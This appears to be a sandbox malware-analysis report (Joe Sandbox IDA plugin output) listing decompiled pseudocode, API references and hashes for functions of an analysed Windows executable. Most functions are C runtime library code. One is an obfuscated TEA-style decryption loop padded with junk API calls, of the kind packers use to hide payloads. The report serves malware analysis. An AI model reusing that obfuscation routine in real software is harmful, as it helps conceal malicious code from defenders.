MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,0040C512,00000100,?,00000100,5EFC4D8B,?,?), ref: 0040C3C5
_malloc.LIBCMT ref: 0040C465

Part of subcall function 00405AC7: __FF_MSGBANNER.LIBCMT ref: 00405ADE
Part of subcall function 00405AC7: __NMSG_WRITE.LIBCMT ref: 00405AE5
Part of subcall function 00405AC7: HeapAlloc.KERNEL32(00600000,00000000,00000001,00000000,00000000,00000000,?,00405F54,00000000,00000000,00000000,00000000,?,0040A0B9,00000018,00416D58), ref: 00405B0A

WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0040C4B4
__freea.LIBCMT ref: 0040C4BD
__freea.LIBCMT ref: 0040C4C4

Part of subcall function 00409E17: _free.LIBCMT ref: 00409E2D

Part of subcall function 00409EAD: LCMapStringW.KERNEL32(00000000,?,?,?,?,5EFC4D8B,?,0040C3E7,?,?,00000000,?,00000000,00000000), ref: 00409EF1

Part of subcall function 00404B44: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00406B6E
Part of subcall function 00404B44: ___raise_securityfailure.LIBCMT ref: 00406C55

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc$AllocFeatureHeapPresentProcessorString___raise_securityfailure_free
String ID:
API String ID: 2723728770-0
Opcode ID: f3a914ad418ce209bc95ce2747373a492570584f1d9a42af49d0a94a7acdc751
Instruction ID: 00e57e4aa18f10818ce345bfb067cbb111f78596100b92ad1819169c8908361e
Opcode Fuzzy Hash: f3a914ad418ce209bc95ce2747373a492570584f1d9a42af49d0a94a7acdc751
Instruction Fuzzy Hash: 4B51AF72A10215EFEB249F54DCD1EBB3AA5EB44314F15473AFD09B62E0D7399C108698

Uniqueness

Uniqueness Score: 100.00%

Function 00406ECD, Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

C-Code - Quality: 91%

			E00406ECD(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00405CE0(_t3);
				if(E0040A120() != 0) {
					_t6 = E004095CC(E00406C5E);
					 *0x41dff4 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00405EF6(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00406F43();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00409628( *0x41dff4, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00406E1A(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00406F43();
					return 0;
				}
			}

0x00406ecd
0x00406ed9
0x00406ee8
0x00406eed
0x00406ef3
0x00406ef6
0x00000000
0x00406ef8
0x00406f05
0x00406f09
0x00406f0b
0x00406f3a
0x00406f3a
0x00406f3f
0x00406f42
0x00406f0d
0x00406f1b
0x00406f1d
0x00000000
0x00406f1f
0x00406f1f
0x00406f21
0x00406f22
0x00406f29
0x00406f2f
0x00406f33
0x00406f37
0x00406f39
0x00406f39
0x00406f1d
0x00406f0b
0x00406edb
0x00406edb
0x00406edb
0x00406ee2
0x00406ee2

APIs

__init_pointers.LIBCMT ref: 00406ECD

Part of subcall function 00405CE0: RtlEncodePointer.NTDLL(00000000,?,00406ED2,00405794,00416AC8,00000014), ref: 00405CE3
Part of subcall function 00405CE0: __initp_misc_winsig.LIBCMT ref: 00405CFE
Part of subcall function 00405CE0: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004096E2
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004096F6
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00409709
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0040971C
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0040972F
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00409742
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00409755
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00409768
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0040977B
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0040978E
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 004097A1
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 004097B4
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 004097C7
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004097DA
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004097ED
Part of subcall function 00405CE0: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00409800

__mtinitlocks.LIBCMT ref: 00406ED2
__mtterm.LIBCMT ref: 00406EDB

Part of subcall function 00406F43: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00406EE0,00405794,00416AC8,00000014), ref: 0040A03A
Part of subcall function 00406F43: _free.LIBCMT ref: 0040A041
Part of subcall function 00406F43: DeleteCriticalSection.KERNEL32(0041E1E0,?,?,00406EE0,00405794,00416AC8,00000014), ref: 0040A063

__calloc_crt.LIBCMT ref: 00406F00

Part of subcall function 00405EF6: __calloc_impl.LIBCMT ref: 00405F05

__mtterm.LIBCMT ref: 00406F3A

Part of subcall function 00409628: TlsSetValue.KERNEL32(00000000,?,?,00406DE7,00000000,0040A046,00000000,?,?,00406EE0,00405794,00416AC8,00000014), ref: 00409642

__initptd.LIBCMT ref: 00406F22

Part of subcall function 00406E1A: __lock.LIBCMT ref: 00406E5E
Part of subcall function 00406E1A: __lock.LIBCMT ref: 00406E7F
Part of subcall function 00406E1A: ___addlocaleref.LIBCMT ref: 00406E9D

GetCurrentThreadId.KERNEL32(00405794,00416AC8,00000014), ref: 00406F29

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection__lock__mtterm$CurrentEncodeHandleModulePointerThreadValue___addlocaleref__calloc_crt__calloc_impl__init_pointers__initp_misc_winsig__initptd__mtinitlocks_free
String ID:
API String ID: 335892217-0
Opcode ID: f82e6821617cfaba9e632cd75d80558863f7e29b6d200b84703f820f825d48a8
Instruction ID: 74850bed93524d05b0e0790ac2ff734dcdd58dbe9f6b63b51549b25ec2fa4fa4
Opcode Fuzzy Hash: f82e6821617cfaba9e632cd75d80558863f7e29b6d200b84703f820f825d48a8
Instruction Fuzzy Hash: EEF0F0335197236AE228773BBC0368B2680DB0037CB224A3FF492F51D2FE398861459C

Uniqueness

Uniqueness Score: 8.94%

Function 00407318, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
UNIQUELIBRARYCODE

C-Code - Quality: 23%

			E00407318(void* __ebx, void* __esi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr* _a32, intOrPtr _a36, intOrPtr _a40) {
				void* __edi;
				void* __ebp;
				void* _t25;
				void* _t28;
				intOrPtr _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t30 = __esi;
				_t27 = __ebx;
				_t35 = _a28;
				_t29 = _a8;
				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t29);
					_t5 =  &_a4; // 0x40777c
					_push( *_t5);
					E00407946(__ebx, _t29, __esi, _t35);
					_t33 = _t33 + 0x10;
				}
				_t36 = _a40;
				_t7 =  &_a4; // 0x40777c
				_push( *_t7);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t29);
				}
				E00404ECC(_t28);
				_push(_t30);
				_t31 = _a32;
				_push( *_t31);
				_push(_a20);
				_push(_a16);
				_push(_t29);
				E00407BE4(_t27, _t31, _t36);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t29 + 8)) =  *((intOrPtr*)(_t31 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t29);
				_push(_a4);
				_t25 = E00407112(_t27, _t29, _t31, _t36);
				if(_t25 != 0) {
					E00404E9A(_t25, _t29);
					return _t25;
				}
				return _t25;
			}

0x00407318
0x00407318
0x0040731b
0x00407320
0x00407323
0x00407325
0x00407328
0x0040732b
0x0040732c
0x0040732c
0x0040732f
0x00407334
0x00407334
0x00407337
0x0040733b
0x0040733b
0x0040733e
0x00407343
0x00407340
0x00407340
0x00407340
0x00407346
0x0040734b
0x0040734c
0x0040734f
0x00407351
0x00407354
0x00407357
0x00407358
0x00407361
0x00407366
0x00407369
0x0040736f
0x00407372
0x00407375
0x00407378
0x00407379
0x0040737c
0x00407387
0x0040738b
0x00000000
0x0040738b
0x00407392

APIs

___BuildCatchObject.LIBCMT ref: 0040732F

Part of subcall function 00407946: ___AdjustPointer.LIBCMT ref: 0040798F
Part of subcall function 00407946: ___AdjustPointer.LIBCMT ref: 004079A9

_UnwindNestedFrames.LIBCMT ref: 00407346

Part of subcall function 00404ECC: RtlUnwind.KERNEL32(00000000,00404EF6,19930522,00000000,?,?,00000000,?,?,?,00407763,?,?,00416CBC,?,19930522), ref: 00404EF0

___FrameUnwindToState.LIBCMT ref: 00407358
CallCatchBlock.LIBCMT ref: 0040737C

Part of subcall function 00407112: __CreateFrameInfo.LIBCMT ref: 0040713C
Part of subcall function 00407112: _CallCatchBlock2.LIBCMT ref: 00407194

Strings

|w@, xrefs: 0040733B, 0040732C

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: CatchUnwind$AdjustCallFramePointer$BlockBlock2BuildCreateFramesInfoNestedObjectState
String ID: |w@
API String ID: 1213799502-3020482183
Opcode ID: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction ID: 0c7fb1a85cd130795f04480c4906de8c4a01cebae5bbeeaca5a86bd2b2593db5
Opcode Fuzzy Hash: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction Fuzzy Hash: DD010932404109ABDF125F95CC01EDA3B66BF48754F15402AFD1875161C339E861EB99

Uniqueness

Uniqueness Score: 100.00%

Function 004018E5, Relevance: 7.6, APIs: 5, Instructions: 80
UNIQUE

C-Code - Quality: 84%

			E004018E5(intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t22;
				void* _t29;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				void* _t44;
				signed int _t46;
				intOrPtr* _t47;
				void* _t48;
				intOrPtr* _t49;
				void* _t51;
				void* _t52;

				_t52 =  &_v16;
				_t47 = _a4;
				_t37 =  *_t47;
				_t46 =  *(_t47 + 4);
				_t51 = E004018B8() + _t21;
				_t22 = E004018DF();
				_t38 = _a8;
				_t48 = 0;
				_v4 = _t22;
				_v8 =  *_t38;
				_v12 =  *((intOrPtr*)(_t38 + 4));
				_v16 =  *((intOrPtr*)(_t38 + 8));
				_a8 =  *((intOrPtr*)(_t38 + 0xc));
				do {
					AddAtomA(0);
					GetLastError();
					SetLastError(0);
					if(_t48 > 0x64) {
						__imp__AlphaBlend(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, _a4);
					}
					_t29 = E004018BE(_t37, _v16, _t51, _a8);
					_t52 = _t52 + 0x10;
					_t46 = _t46 - _t29;
					SetConsoleCtrlHandler(0, 0);
					_t35 = _v8;
					_t37 = _t37 - ((_t46 >> 0x00000005) + _v16 ^ (_t46 << 0x00000004) + _v12 ^ _t46 + _t51);
					_t44 = 0xfffffff7;
					_t51 = _t51 + _t44 - _t35;
					_t48 = _t48 + 1;
				} while (_t48 < 0x20);
				_t49 = _v0;
				 *(_t49 + 4) = _t46;
				 *_t49 = _t37;
				return _t35;
			}

0x004018e5
0x004018eb
0x004018f0
0x004018f2
0x004018fc
0x004018fe
0x00401903
0x00401907
0x00401909
0x0040190f
0x00401916
0x0040191d
0x00401924
0x00401928
0x0040192a
0x00401930
0x00401938
0x00401941
0x00401953
0x00401953
0x00401963
0x00401968
0x0040196b
0x00401971
0x00401990
0x00401994
0x00401998
0x0040199b
0x0040199d
0x0040199e
0x004019a3
0x004019a7
0x004019ab
0x004019b3

APIs

AddAtomA.KERNEL32(00000000), ref: 0040192A
GetLastError.KERNEL32 ref: 00401930
SetLastError.KERNEL32(00000000), ref: 00401938
AlphaBlend.MSIMG32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401953
SetConsoleCtrlHandler.KERNEL32(00000000,00000000), ref: 00401971

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: ErrorLast$AlphaAtomBlendConsoleCtrlHandler
String ID:
API String ID: 1876163289-0
Opcode ID: 122194f74c29d43d3f7b77c1190d930c1ffb10361e51bd670ee491aa3bec5184
Instruction ID: 25bd47ef0f613b71f48cad16d4ff7451eb45939acbbedf76cb2148083eba64be
Opcode Fuzzy Hash: 122194f74c29d43d3f7b77c1190d930c1ffb10361e51bd670ee491aa3bec5184
Instruction Fuzzy Hash: D6217172A043009FD300EF68C885A5ABBE4EF8C314F05492EF69AE72A1D775E9458B91

Uniqueness

Uniqueness Score: 100.00%

Function 0040A9AE, Relevance: 7.6, APIs: 5, Instructions: 67
memoryCOMMONLIBRARYCODE

C-Code - Quality: 96%

			E0040A9AE(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x41f5d0, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x41fe30 - _t7;
								if(__eflags == 0) {
									_t9 = E00409F9B(__eflags);
									 *_t9 = E00409FAE(GetLastError());
									goto L17;
								} else {
									__eflags = E00405B59(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E00409F9B(__eflags);
										 *_t12 = E00409FAE(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00405B59(_t6, _t31);
						 *((intOrPtr*)(E00409F9B(__eflags))) = 0xc;
						goto L12;
					} else {
						E00405B8C(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00405AC7(__ebx, __edx, __edi, _a8);
				}
			}

0x0040a9b5
0x0040a9c3
0x0040a9c6
0x0040a9c8
0x0040a9d7
0x0040aa0a
0x0040aa0a
0x0040aa0d
0x00000000
0x00000000
0x0040a9da
0x0040a9dc
0x0040a9de
0x0040a9de
0x0040a9de
0x0040a9eb
0x0040a9f1
0x0040a9f3
0x0040a9f5
0x0040aa55
0x0040aa55
0x0040a9f7
0x0040a9f7
0x0040a9fd
0x0040aa3f
0x0040aa53
0x00000000
0x0040a9ff
0x0040aa06
0x0040aa08
0x0040aa27
0x0040aa3b
0x0040aa21
0x0040aa21
0x0040aa21
0x00000000
0x00000000
0x00000000
0x0040aa08
0x0040a9fd
0x00000000
0x0040aa23
0x0040aa10
0x0040aa1b
0x00000000
0x0040a9ca
0x0040a9cd
0x0040a9d3
0x0040a9d3
0x0040aa24
0x0040aa26
0x0040a9b7
0x0040a9c1
0x0040a9c1

APIs

_malloc.LIBCMT ref: 0040A9BA

Part of subcall function 00405AC7: __FF_MSGBANNER.LIBCMT ref: 00405ADE
Part of subcall function 00405AC7: __NMSG_WRITE.LIBCMT ref: 00405AE5
Part of subcall function 00405AC7: HeapAlloc.KERNEL32(00600000,00000000,00000001,00000000,00000000,00000000,?,00405F54,00000000,00000000,00000000,00000000,?,0040A0B9,00000018,00416D58), ref: 00405B0A

_free.LIBCMT ref: 0040A9CD

Part of subcall function 00405B8C: HeapFree.KERNEL32(00000000,00000000), ref: 00405BA0
Part of subcall function 00405B8C: GetLastError.KERNEL32(0041E1E0,?,0040A046,00000000,?,?,00406EE0,00405794,00416AC8,00000014), ref: 00405BB2

HeapReAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,?,00405F97,?,?,00000000,00000000,?,0040449E,00000000,00000010), ref: 0040A9EB
GetLastError.KERNEL32(?,00405F97,?,?,00000000,00000000,?,0040449E,00000000,00000010,?,?,00000000,?,?,00404403), ref: 0040AA46

Part of subcall function 00405B59: DecodePointer.KERNEL32(?,0040AAB3,?,00000000,?,00405F0A,00000000,?,00000000,00000000,00000000,?,00406DD3,00000001,000003BC,0040A046), ref: 00405B62

GetLastError.KERNEL32(?,00405F97,?,?,00000000,00000000,?,0040449E,00000000,00000010,?,?,00000000,?,?,00404403), ref: 0040AA2E

Part of subcall function 00409F9B: __getptd_noexit.LIBCMT ref: 00409F9B

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: ErrorHeapLast$Alloc$DecodeFreePointer__getptd_noexit_free_malloc
String ID:
API String ID: 1296792384-0
Opcode ID: 3815ef27a4d552f53e18d6ef818508412de297180373c490415b4273f0e7a43b
Instruction ID: 87c771fd848d192d3e011176b8a64d670cca80d1f0394e6ff4ae03c1413b9622
Opcode Fuzzy Hash: 3815ef27a4d552f53e18d6ef818508412de297180373c490415b4273f0e7a43b
Instruction Fuzzy Hash: C711C871A14712AECB203F75AD0469B3B949B04368B11453BF909FB1E1DB3C8C61DA9E

Uniqueness

Uniqueness Score: 5.54%

Function 0040BD45, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
UNIQUE

C-Code - Quality: 100%

			E0040BD45() {
				intOrPtr _t3;
				intOrPtr _t4;
				void* _t6;
				intOrPtr _t9;
				void* _t12;
				intOrPtr _t13;

				_t3 =  *0x421024; // 0x200
				_t13 = 0x14;
				if(_t3 != 0) {
					if(_t3 < _t13) {
						_t3 = _t13;
						goto L4;
					}
				} else {
					_t3 = 0x200;
					L4:
					 *0x421024 = _t3;
				}
				_t4 = E00405EF6(_t3, 4);
				 *0x421020 = _t4;
				if(_t4 != 0) {
					L8:
					_t12 = 0;
					_t9 = 0x41ea68;
					while(1) {
						 *((intOrPtr*)(_t12 + _t4)) = _t9;
						_t9 = _t9 + 0x20;
						_t12 = _t12 + 4;
						if(_t9 >= 0x41ece8) {
							break;
						}
						_t4 =  *0x421020; // 0x628f48
					}
					return 0;
				} else {
					 *0x421024 = _t13;
					_t4 = E00405EF6(_t13, 4);
					 *0x421020 = _t4;
					if(_t4 != 0) {
						goto L8;
					} else {
						_t6 = 0x1a;
						return _t6;
					}
				}
			}

0x0040bd45
0x0040bd4d
0x0040bd50
0x0040bd5b
0x0040bd5d
0x00000000
0x0040bd5d
0x0040bd52
0x0040bd52
0x0040bd5f
0x0040bd5f
0x0040bd5f
0x0040bd67
0x0040bd6c
0x0040bd75
0x0040bd95
0x0040bd95
0x0040bd97
0x0040bd9c
0x0040bd9c
0x0040bd9f
0x0040bda2
0x0040bdab
0x00000000
0x00000000
0x0040bdad
0x0040bdad
0x0040bdb7
0x0040bd77
0x0040bd7a
0x0040bd80
0x0040bd85
0x0040bd8e
0x00000000
0x0040bd90
0x0040bd92
0x0040bd94
0x0040bd94
0x0040bd8e

APIs

__calloc_crt.LIBCMT ref: 0040BD67

Part of subcall function 00405EF6: __calloc_impl.LIBCMT ref: 00405F05

__calloc_crt.LIBCMT ref: 0040BD80

Strings

hA, xrefs: 0040BD97
A, xrefs: 0040BDA5

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: __calloc_crt$__calloc_impl
String ID: hA$A
API String ID: 4112851154-2225524807
Opcode ID: c0f8e90d6e73cb7f7ff68fc21c5e1f57ac7b6d75a954185d587990bb4bf36e5b
Instruction ID: bd58b4a0097a2e4e968eaaaa1809bf68396e386fb91068c7b95c224b5a831844
Opcode Fuzzy Hash: c0f8e90d6e73cb7f7ff68fc21c5e1f57ac7b6d75a954185d587990bb4bf36e5b
Instruction Fuzzy Hash: 70F04471704751CAF724DB6ABD01B92A794EB29764F54403BE604EA6E5EB38888287CC

Uniqueness

Uniqueness Score: 100.00%

Function 004079D4, Relevance: 6.2, APIs: 4, Instructions: 162
COMMONLIBRARYCODE

C-Code - Quality: 40%

			E004079D4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t41;
				intOrPtr _t42;
				intOrPtr* _t64;
				intOrPtr _t69;
				signed int _t70;
				signed char _t72;
				signed char _t73;
				signed char* _t95;
				signed char _t100;
				signed char** _t102;
				signed char* _t105;
				void* _t106;

				_push(0xc);
				_push(0x416ca0);
				E00405FD0(__ebx, __edi, __esi);
				_t69 = 0;
				_t41 =  *(_t106 + 0x10);
				_t72 = _t41[4];
				if(_t72 == 0 ||  *((intOrPtr*)(_t72 + 8)) == 0) {
					L34:
					_t42 = 0;
				} else {
					_t100 = _t41[8];
					if(_t100 != 0 || ( *_t41 & 0x80000000) != 0) {
						_t73 =  *_t41;
						_t102 =  *(_t106 + 0xc);
						if(_t73 >= 0) {
							_t102 =  &(_t102[3]) + _t100;
						}
						 *((intOrPtr*)(_t106 - 4)) = _t69;
						_t105 =  *(_t106 + 0x14);
						if(_t73 >= 0 || ( *_t105 & 0x00000010) == 0) {
							L14:
							_push(1);
							_push( *( *((intOrPtr*)(_t106 + 8)) + 0x18));
							if((_t73 & 0x00000008) == 0) {
								if(( *_t105 & 0x00000001) == 0) {
									if(_t105[0x18] != _t69) {
										if(E0040B4B6() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0040B4C5(_t102) == 0 || E0040B4A7(_t105[0x18]) == 0) {
												goto L32;
											} else {
												_t70 = 0;
												_t69 = (_t70 & 0xffffff00 | ( *_t105 & 0x00000004) != 0x00000000) + 1;
												 *((intOrPtr*)(_t106 - 0x1c)) = _t69;
											}
										}
									} else {
										if(E0040B4B6() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0040B4C5(_t102) == 0) {
												goto L32;
											} else {
												E00404500(_t102, E00407921( *( *((intOrPtr*)(_t106 + 8)) + 0x18),  &(_t105[8])), _t105[0x14]);
											}
										}
									}
								} else {
									if(E0040B4B6() == 0) {
										goto L32;
									} else {
										_push(1);
										if(E0040B4C5(_t102) == 0) {
											goto L32;
										} else {
											E00404500(_t102,  *( *((intOrPtr*)(_t106 + 8)) + 0x18), _t105[0x14]);
											if(_t105[0x14] == 4 &&  *_t102 != 0) {
												_push( &(_t105[8]));
												_push( *_t102);
												goto L13;
											}
										}
									}
								}
							} else {
								if(E0040B4B6() == 0) {
									goto L32;
								} else {
									_push(1);
									if(E0040B4C5(_t102) == 0) {
										goto L32;
									} else {
										_t95 =  *( *((intOrPtr*)(_t106 + 8)) + 0x18);
										goto L12;
									}
								}
							}
						} else {
							_t64 =  *0x41f5c4; // 0x0
							if(_t64 == 0) {
								goto L14;
							} else {
								 *(_t106 + 0x10) =  *_t64();
								_push(1);
								if(E0040B4B6(_t65) == 0) {
									L32:
									E00406FAC();
								} else {
									_push(1);
									if(E0040B4C5(_t102) == 0) {
										goto L32;
									} else {
										_t95 =  *(_t106 + 0x10);
										L12:
										 *_t102 = _t95;
										_push( &(_t105[8]));
										_push(_t95);
										L13:
										 *_t102 = E00407921();
									}
								}
							}
						}
						 *((intOrPtr*)(_t106 - 4)) = 0xfffffffe;
						_t42 = _t69;
					} else {
						goto L34;
					}
				}
				return E00406015(_t42);
			}

0x004079d4
0x004079d6
0x004079db
0x004079e0
0x004079e2
0x004079e5
0x004079ea
0x00407b8e
0x00407b8e
0x004079f9
0x004079f9
0x004079fe
0x00407a0c
0x00407a0e
0x00407a13
0x00407a18
0x00407a18
0x00407a1a
0x00407a1d
0x00407a22
0x00407a73
0x00407a73
0x00407a78
0x00407a7e
0x00407aac
0x00407b02
0x00407b46
0x00000000
0x00407b48
0x00407b48
0x00407b54
0x00000000
0x00407b63
0x00407b68
0x00407b6c
0x00407b6d
0x00407b6d
0x00407b54
0x00407b04
0x00407b0d
0x00000000
0x00407b0f
0x00407b0f
0x00407b1b
0x00000000
0x00407b1d
0x00407b33
0x00407b38
0x00407b1b
0x00407b0d
0x00407aae
0x00407ab7
0x00000000
0x00407abd
0x00407abd
0x00407ac9
0x00000000
0x00407acf
0x00407ad9
0x00407ae5
0x00407af7
0x00407af8
0x00000000
0x00407af8
0x00407ae5
0x00407ac9
0x00407ab7
0x00407a80
0x00407a89
0x00000000
0x00407a8f
0x00407a8f
0x00407a9b
0x00000000
0x00407aa1
0x00407aa4
0x00000000
0x00407aa4
0x00407a9b
0x00407a89
0x00407a29
0x00407a29
0x00407a30
0x00000000
0x00407a32
0x00407a34
0x00407a37
0x00407a43
0x00407b72
0x00407b72
0x00407a49
0x00407a49
0x00407a55
0x00000000
0x00407a5b
0x00407a5b
0x00407a5e
0x00407a5e
0x00407a63
0x00407a64
0x00407a65
0x00407a6c
0x00407a6c
0x00407a55
0x00407a43
0x00407a30
0x00407b77
0x00407b7e
0x00000000
0x00000000
0x00000000
0x004079fe
0x00407b95

APIs

___AdjustPointer.LIBCMT ref: 00407A65
_memmove.LIBCMT ref: 00407AD9
___AdjustPointer.LIBCMT ref: 00407B2A
_memmove.LIBCMT ref: 00407B33

Part of subcall function 00406FAC: DecodePointer.KERNEL32(00416B98,00000008,0040741B,19930522,00000000,E06D7363), ref: 00406FBE
Part of subcall function 00406FAC: _abort.LIBCMT ref: 00407012

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
